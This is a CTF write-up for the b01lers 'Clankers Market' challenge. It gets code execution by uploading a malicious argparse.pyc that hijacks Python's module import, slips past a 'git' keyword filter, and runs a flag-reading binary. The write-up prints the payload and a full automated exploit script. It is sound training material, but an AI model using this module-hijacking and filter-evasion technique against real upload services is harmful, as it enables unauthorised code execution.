🚀 From Fake Flag to Full RCE — Clankers Market Writeup

Clankers Market | b01lers CTF Solved by: S0n1c_404

“وَقُل رَّبِّ زِدْنِي عِلْمًا” — [طه: 114]

🧠 First Look — “Free flag? No way…”

I opened the challenge.

Clean UI. Simple idea.

Upload → Run → Result.

Nothing scary.

So naturally…

I uploaded a random file.

Clicked Run Clanker.

And then…

…

💥 A flag appeared.

🖼️ Screenshot 1 — Initial Interface

🤨 Something’s Wrong…

It felt too easy.

CTFs don’t just hand you flags like that.

So I submitted it.

❌ Wrong.

🧩 “Okay… now it’s interesting”

That’s when I knew:

This is a trap challenge

So I switched modes:

🧑‍💻 From user → to attacker mindset

🔍 Step 1 — Intercept Everything

Opened Burp Suite.

Intercept ON.

Started playing with the request:

• File name manipulation
• Content-Type tampering
• Parameter injection

Nothing.

Dead.

🧪 Step 2 — Attack the File Itself

If the request is clean…

Then maybe the payload is inside the file.

So I tried:

• Command injection
• Reverse shells
• JS payloads
• Anything executable

Still nothing.

🧊 Dead End…

At this point…

No injection. No errors. No weird responses.

Just silence.

🔁 Step 3 — Back to Code (The Smart Move)

When everything fails…

👉 Go back to the source

And this is where things changed.

⚠️ Weird Things I Noticed

📁 Upload Path

/tmp/git_storage/

🧹 Sanitization

• Blocks .py, .sh
• Deletes anything containing git

🧨 And then THIS:

python3 -m http.server 12345

💡 BOOM — The Realization

This line…

This exact line…

Was the vulnerability.

🧠 Why?

Because:

Python loads modules from the current directory FIRST

And guess what?

👉 The current directory = my uploaded files

😈 Now it’s not an upload…

It’s code execution.

🎯 Target: argparse

I checked imports:

import argparse

Perfect.

🧬 The Idea

What if…

I upload:

argparse.pyc

Then Python will:

❌ Import real module ✅ Import MY payload

🚧 Bypassing Filters

Problem 1:

.py blocked ❌ → Use .pyc ✅

Problem 2:

git keyword blocked ❌ → Build it dynamically ✅

💣 Payload Logic

• Create .git/description
• Write fake key: sk-ant-
• Execute:

/usr/local/bin/read-flag

• Save flag inside file
• Delete itself
• Restore original module

Payload Code

import py_compile
import os
import sys

# 1. Generate the payload
payload = """import os, sys
# Construct git without the literal string to bypass grep deletion
folder_chars = ['g', 'i', 't']
path = "." + "".join(folder_chars) + "/description"

# Write our fake key and append the actual flag using the SUID binary
with open(path, "w") as f:
    f.write("sk-ant-")
os.system(f"/usr/local/bin/read-flag >> {path}")

# Delete ourselves and restore the real argparse to prevent http.server from crashing
try:
    os.remove("argparse.pyc")
except:
    pass

if "argparse" in sys.modules:
    del sys.modules["argparse"]

import argparse
sys.modules["argparse"] = argparse
"""

with open("payload.py", "w") as f:
    f.write(payload)

# Compile to pyc
# We name it argparse.pyc because http.server imports argparse
py_compile.compile("payload.py", cfile="argparse.pyc")
os.remove("payload.py")

print("[+] Payload compiled as argparse.pyc")

🚀 Execution (Manual Way)

Uploaded:

👉 argparse.pyc

Clicked:

👉 Run Clanker

Waited…

🖼️ Screenshot 4 — Upload + Run

🏆 FLAG.

bctf{d1d_you_get_rce_from_checkout??I_tried_my_best_to_limit_but_clanker_too_good_now!!!}

Appeared inside:

👉 Leaked Anthropics API Key

🖼️ Screenshot 5 — Flag

⚡ But I Didn’t Stop There…

Manual exploitation is good.

But real hackers don’t stop at manual.

🤖 Automation Mode ON

I built a Python script that:

• Registers automatically
• Logs in
• Uploads payload
• Extracts flag

💻 Automation Code

import requests
import py_compile
import os
import sys

# 1. Generate the payload
payload = """import os, sys
# Construct git without the literal string to bypass grep deletion
folder_chars = ['g', 'i', 't']
path = "." + "".join(folder_chars) + "/description"

# Write our fake key and append the actual flag using the SUID binary
with open(path, "w") as f:
    f.write("sk-ant-")
os.system(f"/usr/local/bin/read-flag >> {path}")

# Delete ourselves and restore the real argparse to prevent http.server from crashing
try:
    os.remove("argparse.pyc")
except:
    pass

if "argparse" in sys.modules:
    del sys.modules["argparse"]

import argparse
sys.modules["argparse"] = argparse
"""

with open("payload.py", "w") as f:
    f.write(payload)

# Compile to pyc
# We name it argparse.pyc because http.server imports argparse
py_compile.compile("payload.py", cfile="argparse.pyc")
os.remove("payload.py")

print("[+] Payload compiled as argparse.pyc")

def exploit(target_url):
    session = requests.Session()

    # 2. Register an account
    username = os.urandom(4).hex()
    password = "password"
    print(f"[+] Registering with user: {username}:password")

    resp = session.post(f"{target_url}/register", data={
        "username": username,
        "password": password
    })

    if "Username already exists" in resp.text:
        # Just login
        session.post(f"{target_url}/login", data={
            "username": username,
            "password": password
        })

    # 3. Upload our pyc file
    print("[+] Uploading argparse.pyc payload")
    with open("argparse.pyc", "rb") as f:
        files = {
            'file': ('argparse.pyc', f, 'application/octet-stream')
        }
        resp = session.post(f"{target_url}/clanker-feature", files=files)

    if "bctf" in resp.text:
        print("[+] SUCCESS! Retrieved the flag:")
        # Try to parse the flag from the response
        import re
        flag_match = re.search(r'(bctf\{.*?\})', resp.text)
        if flag_match:
            print(flag_match.group(1))
        else:
            print(resp.text)
    else:
        print("[-] Exploit failed or flag not found in the response :(")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <target_url>")
        print("Example: python3 exploit.py http://challenge.blue.ctf:5000")
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    exploit(target_url)

🧠 Why This Matters

This challenge wasn’t about:

• XSS
• SQLi
• Command injection

It was about:

Understanding how systems behave internally

⚠️ The Real Vulnerability

✔ Python Module Hijacking ✔ Unsafe execution context ✔ Weak sanitization

🔥 Mindset Takeaway

This is the most important part:

🧠 Think outside the box.

Not every challenge is:

• Inject payload → get shell

Sometimes:

• You fail
• You retry
• You rethink
• You go deeper

💬 Real Lesson

You tried:

• Requests ❌
• Payloads ❌
• Injection ❌

And still failed.

But…

You didn’t stop.

🚀 That’s the difference

Between:

🧑‍💻 Someone who solves challenges and 🔥 Someone who understands systems

🧩 Final Thought

There’s always another way.

Manual. Automation. Logic abuse. System behavior.

You just need to expand your mindset enough to see it

👨‍💻 About Me

S0n1c_404 (Mostafa Mohamed) Cybersecurity | Web Exploitation | CTF Player

🔗 https://www.linkedin.com/in/mostafa-mohamed-ahmed-870560252/